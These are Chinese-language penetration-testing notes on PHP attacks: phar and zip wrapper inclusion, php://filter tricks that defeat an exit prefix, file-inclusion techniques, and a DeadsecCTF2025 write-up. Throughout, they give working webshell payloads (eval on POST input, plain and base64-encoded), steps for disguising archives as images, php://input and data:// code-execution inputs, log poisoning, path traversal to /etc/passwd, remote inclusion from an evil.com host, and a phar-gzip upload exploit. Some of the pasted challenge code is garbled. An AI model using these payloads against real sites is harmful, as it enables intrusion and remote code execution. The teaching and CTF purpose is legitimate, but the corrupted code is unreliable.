Phar漏洞
一、想象一下这个场景
1.1 快递员的"狸猫换太子"
想象:
你是个快递员,公司规定"只收衣服包裹,不收电器包裹"。
有个坏蛋把一台微波炉(PHP代码)装进衣服盒子(ZIP文件)里,然后在盒子上贴个"衣服"标签(`.jpg`)。
你看标签是"衣服",就收了。
公司仓库的智能分拣机(PHP内核)拆包裹时,不看标签,而是用X光扫描(文件头检测)------发现里面是微波炉!
但公司有条规定:"只要是从包裹里取出的东西,都直接使用"。
结果:微波炉被插上电运行了(PHP代码执行)!
二、Phar漏洞就是"挂羊头卖狗肉"
2.1 简单三步攻击
php
# 1. 坏蛋准备"毒包裹"
# 把恶意代码(shell.php)打包成ZIP,就像把微波炉装进衣服盒子
echo "<?php system('whoami'); ?>" > shell.php
zip evil.zip shell.php
# 2. 贴上"安全标签"(伪装成图片)
# 把 evil.zip 改名为 avatar.jpg
mv evil.zip avatar.jpg
# 3. 骗快递员"请拆开这个包裹并拿出里面的东西"
# 网站代码不小心执行了:
include('phar://uploads/avatar.jpg/shell.php');
# 结果:whoami命令被执行了!
2.2 为啥能成功?
普通人的思维:
文件叫 avatar.jpg → 肯定是图片 → 直接显示
PHP内核的思维:
收到命令:phar://avatar.jpg/shell.php
↓
哦,是phar协议!让我看看avatar.jpg里面有什么
↓
扫描文件头:咦?这不是图片,是ZIP文件!
↓
打开ZIP,找到shell.php
↓
读取shell.php内容:<?php system('whoami'); ?>
↓
这是PHP代码,执行它!
三、真实网站的例子
3.1 常见的网站代码漏洞
php
假设一个网站有这样的代码:
// 1. 上传头像功能(很多网站都有)
$avatar = $_FILES['avatar'];
move_uploaded_file($avatar['tmp_name'], 'uploads/'.$avatar['name']);
// 2. 包含模板功能(也很常见)
$page = $_GET['page']; // 比如 ?page=about.php
include('templates/'.$page);
```
**攻击者可以**:
1. 上传一个"毒图片"`avatar.jpg`(实际是ZIP)
2. 访问:`?page=phar://uploads/avatar.jpg/shell.php`
3. Boom!代码执行了
四、比喻理解PHP内部机制
4.1 PHP的"三层办事流程"
第一层:前台接待员(Zend引擎)
- 工作:收到用户请求 `include('phar://xxx.jpg/yyy.php')`
- 特点:只看协议头 `phar://`,不看文件名
- 行动:"这是phar协议的文件,交给phar部门处理"
第二层:phar部门专家(Phar扩展)
- 工作:处理所有phar://开头的请求
- 绝招:**不看文件后缀,直接看文件内容**
- 发现:"xxx.jpg文件里实际是ZIP格式!让我拆开看看..."
- 找到:"哦,里面有yyy.php文件"
第三层:PHP代码执行器(Zend虚拟机)
- 工作:执行PHP代码
- 流程:"phar部门给了我yyy.php的内容,我照常执行"
- 结果:恶意代码运行了!
4.2 关键点:PHP"太聪明"了
正常软件:
文件名.jpg → 肯定是图片 → 只按图片处理
PHP的phar:
文件名.jpg → 先别急,让我看看内容 → 啊,是ZIP!→ 按ZIP处理
五、渗透测试时怎么用?
5.1 简单的测试步骤
php
// 1. 准备"毒包裹"
// 创建一句话木马
file_put_contents('shell.php', '<?php eval($_POST["cmd"]); ?>');
// 2. 打包成ZIP
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);
$zip->addFile('shell.php');
$zip->close();
// 3. 重命名为图片
rename('test.zip', 'test.jpg');
// 4. 上传到目标网站
// 5. 尝试触发(如果存在文件包含漏洞)
// 访问:http://target.com/page.php?file=phar://uploads/test.jpg/shell.php
// 或者:include('phar://uploads/test.jpg/shell.php');
5.2 查找可利用的点
-
找上传点:头像上传、附件上传、图片上传
-
找包含点:URL参数包含文件,比如:
-
`?page=about`
-
`?file=download.pdf`
-
`?action=show&template=default`
- 组合利用:上传"毒图片" + 通过包含触发
一句话总结
Phar漏洞就是:你把一个ZIP文件改名为.jpg上传,PHP傻乎乎地按ZIP拆开,执行了里面的PHP代码。
浅谈PHP_filter的妙用
1.巧用编码与解码
核心原理
该绕过的核心是利用 PHP 的 php://filter 伪协议配合 convert.base64-decode 过滤器,在写入文件时对内容进行 Base64 解码操作。PHP 的 Base64 解码器在解码时会自动忽略非 Base64 字符集内的字符 (a-z, A-Z, 0-9, +, / 之外的字符)。
具体步骤分析
1. 原始代码逻辑分析
php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
$content初始值包含<?php exit; ?>,一旦文件被执行,遇到exit语句会立即终止,后续代码无法执行。- 用户通过
POST提交的txt参数内容会被追加到$content后面。 - 最终,整个
$content会被写入用户通过POST提交的filename参数指定的文件中。
2. 利用点:filename 参数可控
攻击者可以控制 filename 参数的值。通过将其设置为 php://filter/write=convert.base64-decode/resource=shell.php:
php://filter: 表示使用过滤器流。write=convert.base64-decode: 指定在写入文件之前,对数据进行 Base64 解码。resource=shell.php: 指定最终写入的文件名为shell.php。
3. 构造 Payload
攻击者需要精心构造 POST 请求中的 txt 参数值。
- 目标恶意代码 :例如
<?php eval($_POST['cmd']);?>。 - Base64 编码恶意代码 :先对目标代码进行 Base64 编码,得到
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==。 - 处理前置
<?php exit; ?>:- 原始
$content开头是<?php exit; ?>。 - Base64 解码器会忽略其中的非 Base64 字符(
<,?,p,h,,e,x,i,t,;,>中只有p,h,e,x,i,t是合法字符)。因此,解码器实际会尝试解码phpexit这 7 个字符。 - Base64 解码要求输入字符串长度是 4 的倍数。
phpexit长度为 7,需要补 1 个字符(如a)凑齐 8 个字符(即 2 个 4 字符组)。
- 原始
- 构造
txt参数 :txt=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==。这里a是补位的字符,后面是恶意代码的 Base64 编码。
4. 最终 $content 写入过程
最终 $content 的值为: <?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
当通过 php://filter/write=convert.base64-decode 写入时,会发生以下解码过程:
- 解码器扫描整个字符串,跳过所有非 Base64 字符。
- 剩余的合法字符序列为:
phpexitaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==(即phpexit+ 补位的a+PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==)。 - 整个序列被当作 Base64 编码进行解码:
- 前 8 个字符
phpexita解码后产生一段无意义的二进制数据(乱码)。 - 后续字符
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==被成功解码还原为原始目标代码<?php eval($_POST['cmd']);?>。
- 前 8 个字符
- 解码后的二进制数据(乱码 + 恶意代码)被写入
shell.php文件。
5. 结果
写入 shell.php 文件的内容中:
- 开头的
<?php exit; ?>经过 Base64 解码后变成了无意义的乱码,不再构成有效的 PHP 语句。 - 目标恶意代码
<?php eval($_POST['cmd']);?>被成功还原并写入文件。 - 因此,当访问
shell.php时,前置的exit被成功绕过,恶意代码得以执行。
关键点总结
- 利用
php://filter伪协议:在写入文件前对数据进行处理(此处是 Base64 解码)。 - Base64 解码特性:自动忽略非 Base64 字符集内的字符。
- 字符补齐:确保待解码字符串长度是 4 的倍数,防止解码错误或截断。
- 无效化前置代码 :通过解码将
<?php exit; ?>变成乱码,使其失效。 - 还原恶意代码:恶意代码经过 Base64 编码后作为有效数据的一部分,在解码后被还原。
2.利用字符串操作方法
PHP过滤器链绕过方法详解
此方法通过结合strip_tags过滤标签和base64编解码来实现绕过,核心是利用php://filter支持多个过滤器链式执行的特性。以下是详细步骤的整合:
核心矛盾
- 目标文件开头的
<?php exit; ?>是PHP标签,使用strip_tags可直接过滤。 - 但Webshell(如
<?php eval($_POST['cmd']);?>)也包含PHP标签,直接应用strip_tags会导致Webshell被一并过滤。
解决思路
采用"先编码保护Webshell,再过滤标签,最后解码还原"的策略:
- 对Webshell进行base64编码,将其转换为无标签的字符串。
- 使用
strip_tags过滤掉<?php exit; ?>标签。 - 对剩余内容进行base64解码,还原Webshell。
具体绕过步骤
步骤1:分析strip_tags的作用
strip_tags会删除所有HTML/PHP标签(如<?php ... ?>)。- 示例:输入
<?php exit; ?>TEST,过滤后变为TEST。
步骤2:用base64编码保护Webshell
- Webshell原始内容:
<?php eval($_POST['cmd']);?>。 - Base64编码后:
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==(无标签,避免被过滤)。
步骤3:构造php://filter链式过滤器
-
使用
|分隔多个过滤器:- 先执行
string.strip_tags:过滤标签。 - 再执行
convert.base64-decode:解码还原内容。
- 先执行
-
构造
filename参数:plaintextphp://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
步骤4:传递编码后的Webshell
txt参数直接传入Base64编码的Webshell:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==。
最终执行流程
当file_put_contents写入时,内容为:
plaintext
<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
经过链式处理:
string.strip_tags:移除<?php exit; ?>,剩余PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==。convert.base64-decode:解码为<?php eval($_POST['cmd']);?>。
结果
最终写入shell.php的内容为完整Webshell,开头的exit标签已被过滤,Webshell可正常执行。
总结
此方法的核心在于:
- 通过base64编码保护Webshell免受
strip_tags影响。 - 利用过滤器链实现"先过滤标签,后解码还原"的顺序操作。
- 有效绕过初始的
exit屏障,确保恶意代码成功写入。
文件包含漏洞
一、这是什么漏洞?(简单理解)
1.1 生活比喻
想象一下:
你有一个"万能钥匙"(include函数),本来只能开自己家的门(包含网站自己的文件)。
但有一天,你把钥匙给了陌生人(用户输入),结果他用这把钥匙开了别人家的门(包含系统文件),甚至自己造了把钥匙(执行恶意代码)!
1.2 漏洞本质
php
// 危险代码示例
$file = $_GET['file']; // 用户输入文件名
include($file); // 直接包含!
正常情况:`?file=about.php` → 包含关于页面
攻击情况:`?file=/etc/passwd` → 读取系统密码文件!
二、漏洞产生的两个"开关"
PHP有两个重要配置,就像两个开关:
| 开关 | 默认状态 | 作用 | 危险性 |
|------|---------|------|--------|
| `allow_url_fopen` | On(开) | 允许读取远程文件 | 中 |
| `allow_url_include` | Off(关) | 允许包含远程PHP文件 | 高 |
简单说:
如果第二个开关被打开(设为On),黑客就能让你网站包含他服务器上的恶意代码!
三、四个"危险函数"
PHP有四个包含文件的函数,就像四把钥匙:
| 函数 | 特点 | 比喻 |
|------|------|------|
| `include()` | 包含失败只警告,继续执行 | "试试看,不行就算了" |
| `require()` | 包含失败就报错停止 | "必须成功,不然我就罢工" |
| `include_once()` | 只包含一次 | "这个我看过了,不看了" |
| `require_once()` | 必须包含且只一次 | "必须看,但只看一次" |
渗透测试时:找这些函数,看参数是不是用户能控制的。
四、PHP的"魔法协议"(重点!)
PHP有几个特殊协议,就像哆啦A梦的"神奇道具":
4.1 `php://input` - "读心术"
功能:读取POST请求的原始数据
攻击示例:
bash
GET /vuln.php?file=php://input
POST数据:<?php system('whoami'); ?>
→ PHP会执行POST里的代码!
为什么危险:绕过所有文件上传,直接传代码执行。
4.2 `php://filter` - "变形术"
功能:对文件内容进行编码/解码
常用攻击:读取源码
?file=php://filter/read=convert.base64-encode/resource=config.php
→ 得到config.php的base64编码,解码就能看到源码!
绕过技巧:如果网站限制只能包含`.txt`文件:?file=php://filter/read=convert.base64-encode/resource=config.php
照样能读!
4.3 `zip://` 和 `phar://` - "套娃攻击"
原理:把PHP木马放进ZIP压缩包,改名后上传
步骤:
创建 `shell.php`:`<?php eval($_POST['cmd']); ?>`
打包成 `evil.zip`
改名为 `evil.jpg` 上传
触发包含:`?file=zip://uploads/evil.jpg%23shell.php`
(`%23`是`#`的URL编码)
为什么有效:因为PHP识别压缩包不看扩展名,看文件头!
4.4 `data://` - "直通车"
最直接的代码执行:
bash
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
→ 直接执行PHP代码!
五、其他"奇葩"包含姿势
5.1 包含日志文件
原理:网站日志会记录访问信息,包括User-Agent
攻击步骤:
-
修改User-Agent为:`<?php phpinfo(); ?>`
-
访问网站,代码被记录到日志
-
包含日志文件:`?file=/var/log/apache2/access.log`
关键:要知道日志文件路径(常见路径要记!)
5.2 包含Session文件
原理:PHP会把Session数据存到文件
攻击条件:
-
知道Session文件路径(如 `/tmp/sess_abc123`)
-
Session中有可控内容
5.3 包含临时文件
场景:文件上传时,PHP会先创建临时文件
攻击方法:
-
快速上传文件
-
更快地包含临时文件(竞争条件)
-
执行临时文件中的代码
5.4 包含图片马
经典攻击:
-
制作图片木马:图片 + PHP代码
-
上传到网站
-
包含图片:`?file=uploads/shell.jpg`
六、绕过限制的"花式操作"
6.1 绕过后缀限制(网站加`.php`后缀)
方法1:问号截断
正常:?file=test → 实际包含 test.php
绕过:?file=http://evil.com/shell.php?
→ 包含 http://evil.com/shell.php?.php
→ ?后面的被忽略!
方法2:井号截断
?file=http://evil.com/shell.php%23
→ 包含 http://evil.com/shell.php#.php
→ #后面的被忽略!
6.2 绕过路径限制(网站限制目录)
目录遍历:
假设网站限制在 /var/www/html/
?file=../../../etc/passwd
→ 实际路径:/var/www/html/../../../etc/passwd
→ 简化为:/etc/passwd ✓
编码绕过:
`../` → `%2e%2e%2f`
`..\` → `%2e%2e%5c`
双重编码:`%252e%252e%252f`
6.3 古老但有效的截断
%00截断(PHP<5.3.4):
?file=shell.php%00
→ 遇到%00就停止,后面的被忽略
长度截断(Windows/Linux有路径长度限制):
Windows(256字节):?file=shell.php\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
→ 超长路径被截断,.php被丢弃
当include邂逅phar------DeadsecCTF2025 baby-web
(结合ai的理解)
题目,包含一个个index.php和一个upload.php
php
<?php
# index.php
session_start();
error_reporting(0);
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
if (!isset($_GET['url'])) {
die("Nope < ");
}
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" .
$_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if (!file_exists($SANDBOX . '/' . $include_url)) {
die("Nope < ");
}
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope < ");
}
@include($SANDBOX . '/' . $include_url);
?>
<?php
# upload.php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x- bzip2',
'application/gzip',
'application/x- gzip',
'application/x- xz',
'application/x-7z- compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, " _ HALT_COMPILER();") = false | stripos($data, "PK") =
false |
stripos($data, "<?") = false | stripos(strtolower($data), "<?php") =
false
) {
return true;
}
return false;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" .
$_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if ($_SERVER["REQUEST_METHOD"] = 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) | !isset($_FILES['file']
['name'])) {
die("Nope < ");
}
/
mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
然后docker环境也非常简单,没有配什么奇怪的东西,全是默认配置,php版本也非常高,基本上能想到
的一些绕过trick都绕不了:
if (!in_array($mime_type, $allowed_mime_types)) {
die('Nope < ');
}
/
ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']),
PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Nope < ');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" .
basename($_FILES['file']['name']))) {
echo "File upload success!";
}
}
}
?>
<form enctype='multipart/form- data' action='upload.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"> / p>
/
form>
docker环境
bash
FROM php:8.2-apache
RUN DEBIAN_FRONTEND=noninteractive apt- get update & \
apt- get install - y \
gcc \
libbz2-dev & \
docker- php- ext- install bz2 & \
rm - rf /var/lib/apt/lists/
RUN rm - rf /var/ w /html *
COPY flag.txt readflag.c /
RUN gcc - o /readflag /readflag.c & \
rm /readflag.c
RUN chown 0: 1337 /flag.txt /readflag & \
chmod 040 /flag.txt & \
chmod 2555 /readflag
COPY src/index.php src/upload.php /var/ w /html/
RUN chown -R root:root /var/ w & \
find /var/ w - type d - exec chmod 555 {} \; & \
find /var/ w - type f - exec chmod 444 {} \; & \
mkdir /var/ w /html/uploads & \
chmod 703 /var/ w /html/uploads
RUN find / - ignore_readdir_race - type f \( - perm -4000 - o - perm -2000 \) - not -
wholename /readflag - delete
USER w - data
RUN (find - version & id - version & sed - version & grep - version) >
/dev/null
USER root
EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod + x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
一、题目分析:看似无懈可击的防御
1.1 题目限制
代码分析:
php
// index.php 的关键限制
$include_url = basename($_GET['url']); // 只能用文件名,不能带路径
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope :<");
}
@include($SANDBOX . '/'. $include_url); // 包含上传的文件
// upload.php 的关键过滤
function filter($tempfile) {
$data = file_get_contents($tempfile);
// 检查这些关键词,有就拒绝
if (strpos($data, "__HALT_COMPILER();") !== false ||
strpos($data, "PK") !== false || // ZIP文件头
strpos($data, "<?") !== false || // PHP标签
strpos(strtolower($data), "<?php") !== false) {
return true; // 过滤掉
}
return false;
}
1.2 防御看起来很强
- 文件名限制 :只能包含
.zip、.bz2、.gz、.xz、.7z扩展名 - 内容过滤 :不能有
PK(ZIP文件头)、<?php、<?、__HALT_COMPILER(); - 路径限制 :
basename()去掉了所有路径,不能用../或协议 - 高版本PHP:PHP 8.2,很多老漏洞不能用
看起来 :上传木马 → 内容被过滤;用伪协议 → 被 basename() 干掉
二、突破口:PHP的"隐藏功能"
2.1 关键发现
问题 :为什么文件名包含 .phar 就能触发特殊处理?
答案:看PHP源码!
c
// 伪代码表示PHP内核处理逻辑
if (文件名包含 ".phar" && 不包含 "://") {
尝试按Phar文件解析;
}
简单说 :PHP看到文件名里有 .phar,就会尝试按Phar文件解析
2.2 Phar文件的"七十二变"
Phar文件可以伪装成各种格式:
| 实际格式 | PHP如何处理 | 是否需要解压 |
|---|---|---|
| 纯Phar文件 | 直接解析 | 否 |
| Gzip压缩的Phar | 先解压再解析 | 是 |
| Bzip2压缩的Phar | 先解压再解析 | 是 |
| ZIP格式的Phar | 按ZIP解析 | 是 |
| Tar格式的Phar | 按Tar解析 | 是 |
关键点 :压缩后的Phar文件,__HALT_COMPILER(); 和 <?php 等关键词会被压缩成二进制,过滤函数无法检测!
三、攻击步骤详解
3.1 第1步:制作"隐形"Phar木马
php
// 创建phar木马文件 create.php
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
// 木马代码 - 执行命令
$stub = "<?php\nsystem('whoami');\n__HALT_COMPILER();";
$phar->setStub($stub);
// 添加一些内容(非必须)
$phar->addFromString('test.txt', 'hello');
$phar->stopBuffering();
生成的exploit.phar内容:
<?php
system('whoami');
__HALT_COMPILER();
... [二进制数据] ...
3.2 第2步:给木马穿"隐身衣"(压缩)
bash
# 用gzip压缩
gzip exploit.phar
# 得到 exploit.phar.gz
# 现在文件内容是二进制,过滤函数检测不到关键词了!
压缩前后对比:
- 压缩前:有
<?php、__HALT_COMPILER();→ 会被过滤 - 压缩后:全是二进制码 → 过滤函数无法识别,通过!
3.3 第3步:上传并触发
1. 上传 exploit.phar.gz(文件名包含 .phar)
2. 访问:index.php?url=exploit.phar.gz
3. PHP看到文件名有 .phar,启动特殊处理
4. 发现是.gz格式,先解压
5. 解压后得到原始phar文件
6. 执行phar中的代码:system('whoami')
四、为什么能绕过所有防御?
4.1 绕过文件名限制
要求:必须是 .zip|.bz2|.gz|.xz|.7z
我们:exploit.phar.gz ✓
- 以 .gz 结尾 → 通过检查
- 包含 .phar → 触发PHP特殊处理
4.2 绕过内容过滤
过滤:检查 PK、<?、<?php、__HALT_COMPILER();
我们:gzip压缩后的二进制文件
- 没有可读文本 → 过滤函数检测不到
- 解压后才有恶意代码,但过滤只在上传时检查一次
4.3 绕过路径限制
限制:basename() 去掉了路径和协议
我们:根本不需要路径穿越或协议!
- 直接包含上传的文件
- 依赖PHP内置的.phar识别机制